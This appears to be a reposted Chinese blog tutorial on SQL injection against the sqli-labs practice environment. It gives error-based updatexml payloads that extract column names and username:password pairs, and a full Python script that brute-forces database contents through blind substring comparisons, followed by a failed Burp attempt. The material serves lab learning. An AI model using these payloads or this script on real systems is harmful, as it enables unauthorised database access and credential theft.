1" union select 1, updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e) --+
在这里插入图片描述

f.获取表内数据

在轮子的基础上用户名输入
1" union select 1, updatexml(1, concat(0x7e,(select concat(username, ‘:’, password) from users limit 0,1), 0x7e),1) --+
在这里插入图片描述在这里插入图片描述

三、python读取网页返回工具

接下来这个单元我们要开发个工具,专门用于sql注入
输入是个文本,里面是我们写好sql注入的url,我们这里已经是基于批量读取的模块开发
在这里插入图片描述在这里插入图片描述

可以看到两个网页都只是返回200,那么我们怎么获取网页内容呢
发现在返回200的时候执行以下语句可以获取网页内容
在这里插入图片描述

其实这里我有个想法,就是输出用户指定关键字的内容,而不是整个网页都输出来,那样很乱,比如这里的You are in就是个关键字,找到后输出那一行就行,找不到就说找不到,然后每次把找到的结果和url 一起输出到文本中
比如像下面这样
在这里插入图片描述

可以看到我们获取到了到指定位置所在行数据
接下来我们还可以做个url输入函数,这样不用手动去改输入文本
比如我们需要遍历写入
127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’–+
像这样遍历写入生成文本
在这里插入图片描述

遍历执行后,我们发现在第20行出现了变化
在这里插入图片描述

接下来只需要把每次的结果写到文本里就行,像这样,只是把有输出结果的写到文本里就行
在这里插入图片描述

经过验证,确实只有2和20在界面上有响应
也就是说第二个字母和第20个字母都是d,而事实也确实如此
在这里插入图片描述

如此,单个字母的遍历就完成了,接下来再加一重循环就可以完整遍历整个字符串了
像这样遍历每个字母生成url
在这里插入图片描述

是不是刚好有id username pa只是还少特殊符号和数字,这里只是把26个字母的遍历加进去了,加上这些之后
在这里插入图片描述

刚好全部找到了
在这里插入图片描述

以下是这个工具的完整代码

import requests
import os
import sys

def writeurl(file, url, ends1, ends2, num):
    s = ['`', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', ',', '.', ':']
    for i in range(1, num):
        for k  in range(26):    
            content = url
            content += str(i)
            content += ends1
            content += "'"    
            content += chr(ord('a') + k)
            content += "'"
            content += ends2
            file.write(content)
        for k  in range(10):    
            content = url
            content += str(i)
            content += ends1
            content += "'"    
            content += chr(ord('0') + k)
            content += "'"
            content += ends2
            file.write(content)
        for k  in s:    
            content = url
            content += str(i)
            content += ends1
            content += "'"    
            content += k
            content += "'"
            content += ends2
            file.write(content)

def myfind(content, key): 
    if content.find(key) != -1:
        j = 0
        s = []
        start = 0  
        end = 0  
        for i in content:
            j += 1
            if i == '\n' and j < content.find(key):
                start = j
            if j > content.find(key):
                if i == '\n':
                    end = j
                    break
        str1 = ""
        j = 0
        for i in content:
            j+=1
            if j > start and j < end:
                s.append(i)
        str1  = str1.join(s)
        print(str1)
        return str1
    
def getlength(text, value):
    if len(text) == value:
        return True
    else:
        return False



if __name__ == "__main__":
    url = "127.0.0.1:9009/Less-9/?id=14' and substr(substr((select group_concat(username, ':', password) from users), 1), "
    j = 'a'
    fp = open("url1.txt", "w")
        #21是目标长度
    writeurl(fp, url, ", 1)=", "--+\n", 188+1)
    fp.close()
    searchtype = 1  #0是内容查询 1是长度查询

    file_name = input()             #读取文件名
    b = os.path.exists(file_name)   #先判断文件是否存在
    if b == False:
        print("文件不存在")
    else:
        fp1 = open(file_name, "r")      #以只读,打开文件
        fp2 = open("result.txt", "w")
        fp3 = open("output.txt", "w")
        for line in fp1.readlines():    #readlines 按行读取文件,会保留'\n',返回一个(文件中一行为一个元素)列表
            url = "http://" + line         #利用line遍历列表,加上https://,使它成为完整的url
            url = url.replace("\n","")      #把文件中读出来时,末尾的‘\n’去掉(替换成空)
            #print(url)
            try:                        #异常处理
                code = requests.get(url,allow_redirects=False, timeout=5).status_code   #获取状态码,通过状态码判断url网址状态
                #print(code)                                         
                if (code == 200 or code == 412):                   #将状态码为200的保存到result.txt文件中    
                    fp2.write(url + "\n")           #写入时要加入'\n',不会自动添加
                    response = requests.get(url)  
                    if searchtype == 0:
                        content = myfind(response.text, "You are in")
                        if content != None:
                            print(content)
                            c = url
                            c += ":"
                            c += content
                            c += "\n"
                            fp3.write(c)
                    elif searchtype == 1:
                        right = getlength(response.text, 707)
                        if right == True:
                            print(right)
                            c = url
                            c += ":"
                            c += "\n"
                            fp3.write(c)


            except requests.exceptions.ConnectionError:     #requests.exceptions.ConnectionError是一种异常类型
                                  #利用except捕获错误,做出回显(屏幕上有反应),有异常处理,就不会中断脚本运行
                print("Connection Error")
            except Exception as e:  #其他错误
                print("未知错误")
        fp1.close()
        fp2.close()
        fp3.close()
    ss = []
    with open('output.txt', 'r') as f:
        for line in f.readlines():
            pos = line.find("'--+:") - 1
            if pos > 0:
                ss.append(line[pos])
        f.close()
    with open('output.txt', 'a+') as f:
        str1 = ""
        str1  = str1.join(ss)
        f.write(str1)
        f.close()
    print(str1)


四、使用burp实现爆破sql注入(失败)

虽然上面用自己写的程序实现了目的,但是感觉用起来还不是那么方便,接下来看下用burp是不是方便点
抓包后设置
14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’), 1), 2, 1)=‘d’–+
里的2和’d’为参数,使用bomb模式
在这里插入图片描述

Payload1使用numbers模式,to范围是目标长度
在这里插入图片描述

Payload2需要手动添加一些特殊符号
在这里插入图片描述

但是想不明白的是为啥bp这么慢,同样都是爆破1千多次,等半天还没扫完,而我用python写的程序半分钟就扫完了,而且关键是最后还得不到正确结果,所以用bp爆破sql的方法暂时放弃
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/775175.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PhpStudy2016-2018-RCE 漏洞复现

漏洞描述 PHPStudyRCE&#xff08;Remote Code Execution&#xff09;&#xff0c;也称为phpstudy_backdoor漏洞&#xff0c;是指PHPStudy软件中存在的一个远程代码执行漏洞。 漏洞影响范围 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包&#xff0c;通过集成Apac…

WEB:shrine

背景知识 了解Flask SSIT模板注入 题目 进行代码审计 import flask import osapp flask.Flask(__name__) /*创建了flask包下的Flask类的对象&#xff0c;name是一个适用于多数情况的快捷方式。有了这个参数&#xff0c;Flask才知道在哪里可以找到模板和静态文件*/app.confi…

HYPE分布式水文模型教程

详情点击链接&#xff1a;HYPE分布式水文模型建模方法与案例分析 前言 HYPE(Hydrological Predictions for the Environment, HYPE)是由瑞典皇家水文气象局&#xff08;SMHI&#xff09;在HBV和HBV-NP模型基础上开发的新一代分布式水文模型&#xff0c;已经在全球众多地区得…

同样是办公管理系统,钉钉和OA哪个更出色?

企业在选择办公协同系统的时候&#xff0c;通常搜索到“钉钉”和“OA系统”&#xff0c;两者都属于办公管理类型&#xff0c;但哪个更适合企业使用&#xff1f;两者又有哪些区别呢&#xff1f;小编整理了一下两者的对比和侧重的点&#xff0c;今天我们就来聊聊两者的区别吧~ 天…

【Linux】inode软硬连接

文章目录 &#x1f4d6; 前言1. 文件系统1.1 磁盘的物理结构&#xff1a;1.2 CSH和LBA&#xff1a;1.3 IO的基本单位&#xff1a;1.4 文件系统结构&#xff1a;1.5 认识inode&#xff1a; 2. 软硬连接2.1 目录和文件的硬连接数&#xff1a;2.2 软连接&#xff1a;2.3 硬连接&am…

Clickhouse基础和基本优化

CK基础和基本优化 一、ClickHouse的特点列式存储高吞吐写入能力数据分区与线程级并行表引擎的使用MergeTreeReplacingMergeTreeSummingMergeTree 二、SQL操作1.Insert2.Update 和 Delete3.查询操作4.alter操作5.导出数据 三、基于表的分布式集群集群写入流程&#xff08; 3分片…

react和vue2/3父子组件的双向绑定(sync、emit、v-model)

目录 Vue .sync&#xff08;2.3.0&#xff09; $emit &#xff08;2.3后&#xff09; 自定义组件的 v-model 2.2.0 v-modelemits(3.0取消了.sync) React 父组件回调函数 相关基础 框架 MVC &#xff08;Model View Controller&#xff09;/MVP&#xff08;Model View…

VirtualBox 7.0.10 (macOS, Linux, Windows) - 开源跨平台虚拟化软件

VirtualBox 7.0.10 (macOS, Linux, Windows) - 开源跨平台虚拟化软件 Oracle VM VirtualBox 7 请访问原文链接&#xff1a;https://sysin.org/blog/virtualbox-7/&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;sysin.org 2022 年 10 月…

CentOS7中安装Mysql8并配置远程连接和修改密码等

场景 使用Vmware等虚拟机软件搭建CentOS7系统&#xff0c;需要在其上安装Mysql8版本数据库。 注&#xff1a; 博客&#xff1a;霸道流氓气质的博客_CSDN博客-C#,架构之路,SpringBoot领域博主 实现 1、去mysql官网手动下载rpm包并上传到服务器&#xff0c;或者直接通过wget…

Python结合Selenium简单实现Web自动化测试

这篇文章是入门级别的应用Python Selenium进行自动化测试&#xff0c;包括环境搭建及简单的实例&#xff0c;具有一定的参考价值&#xff0c;感兴趣的小伙伴们可以参考一下 这篇文章是入门级别的应用Python Selenium进行自动化测试&#xff0c;包括环境搭建及简单的实例。基…

数据库及数据表的相关操作(一)

目录 一、管理逻辑库与数据表二、常用数据类型和约束2.1 数字数据类型2.2 字符串数据类型2.3 日期数据类型2.4 字段约束 三、索引运行机制和使用原则3.1 创建索引3.2 添加与删除索引3.3 索引的使用原则 一、管理逻辑库与数据表 sql语言的分类&#xff1a; ​ DML数据操作语言…

linux之Ubuntu系列(四)用户管理 用户和权限 chmod 超级用户root, R、W、X、T、S 软链接和硬链接 shell

r(Read&#xff0c;读取)&#xff1a;对文件而言&#xff0c;具有读取文件内容的权限&#xff1b;对目录来说&#xff0c;具有浏览目 录的权限。 w(Write,写入)&#xff1a;对文件而言&#xff0c;具有新增、修改文件内容的权限&#xff1b;对目录来说&#xff0c;具有删除、移…

linux之Ubuntu系列(-)常见指令 重定向

Ubuntu 中文 版本 注意点 通过修改语言改成英文 在终端录入&#xff1a;export LANGen_US 在终端录入&#xff1a;xdg-user-dirs-gtk-update 单用户和多用户 命令格式 command [-选项] [参数] –查看命令的帮助 命令 --help man 命令 |操作键| 功能| |空格键|-显示手册的下…

Kafka 入门到起飞系列 - 生产者发送消息流程解析

生产者通过producerRecord 对象封装消息主题、消息的value&#xff08;内容&#xff09;、timestamp(时间戳)等 生产者通过send()方法发送消息&#xff0c;send()方法会经过如下几步 1. 首先将消息交给拦截器&#xff08;Interceptor&#xff09;处理, 拦截器对生产者而言&…

Java编程-IDEA中Java的main方法psvm、sout快捷键设置

目的 我打出psvm这四个字母时&#xff0c;可快速打出main方法 我打出syso,sout时&#xff0c;可快速打出System.out.println(); 步骤&#xff1a; 1、打开IDEA&#xff0c;点击文件&#xff0c;选择Editor中的 Live Templates选项&#xff0c;点击右侧边栏中的 号 2、选中…

教你用Python+selenium搭建自动化测试环境

今天给大家带来的是关于Python的相关知识,文章围绕着如何用Pythonselenium搭建自动化测试环境展开,文中有非常详细的介绍,需要的朋友可以参考下 一、环境搭建 1、安装pythonpycharm软件 。python安装网址官网&#xff1a;About Python™ | Python.org 根据自己的电脑系统选择…

设计模式 ~ 发布订阅模式

概念 用于实现对象之间的松耦合通信&#xff1b; 在该模式中&#xff0c;存在一个或多个发布者&#xff08;Publishers&#xff09;和一个或多个订阅者&#xff08;Subscribers&#xff09;&#xff1b; 发布者负责发布消息&#xff0c;而订阅者负责订阅感兴趣的消息并在接收到…

Java中高级面试题,开发模拟练习

1.Redis为什么这么快? Redis是单线程的&#xff0c;避免了多线程的上下文切换和并发控制开销;Redis大部分操作时基于内存&#xff0c;读写数据不需要磁盘I/O&#xff0c;所以速度非常快;Redis采用了I/O多路复用机制&#xff0c;提高了网络I/O并发性;Redis提供高效的数据结构&…

数据科学团队的角色分工

描述数据科学团队中角色分工常用下列维度。进一步以数据可视化直观表达的能力雷达图: ML Ops - 机器学习运维 Data Pipelines - 数据流水线 Database - 数据库 Data Viz - 数据可视化 Storytelling - 数据讲故事 Business Insights - 业务洞察 Reporting - 报告 Experimentatio…

Apache和Nginx是什么?|Nginx和Reactor是什么?|网路IO的本质|阻塞队列|异步非阻塞IO

前言 那么这里博主先安利一些干货满满的专栏了&#xff01; 首先是博主的高质量博客的汇总&#xff0c;这个专栏里面的博客&#xff0c;都是博主最最用心写的一部分&#xff0c;干货满满&#xff0c;希望对大家有帮助。 高质量干货博客汇总https://blog.csdn.net/yu_cblog/c…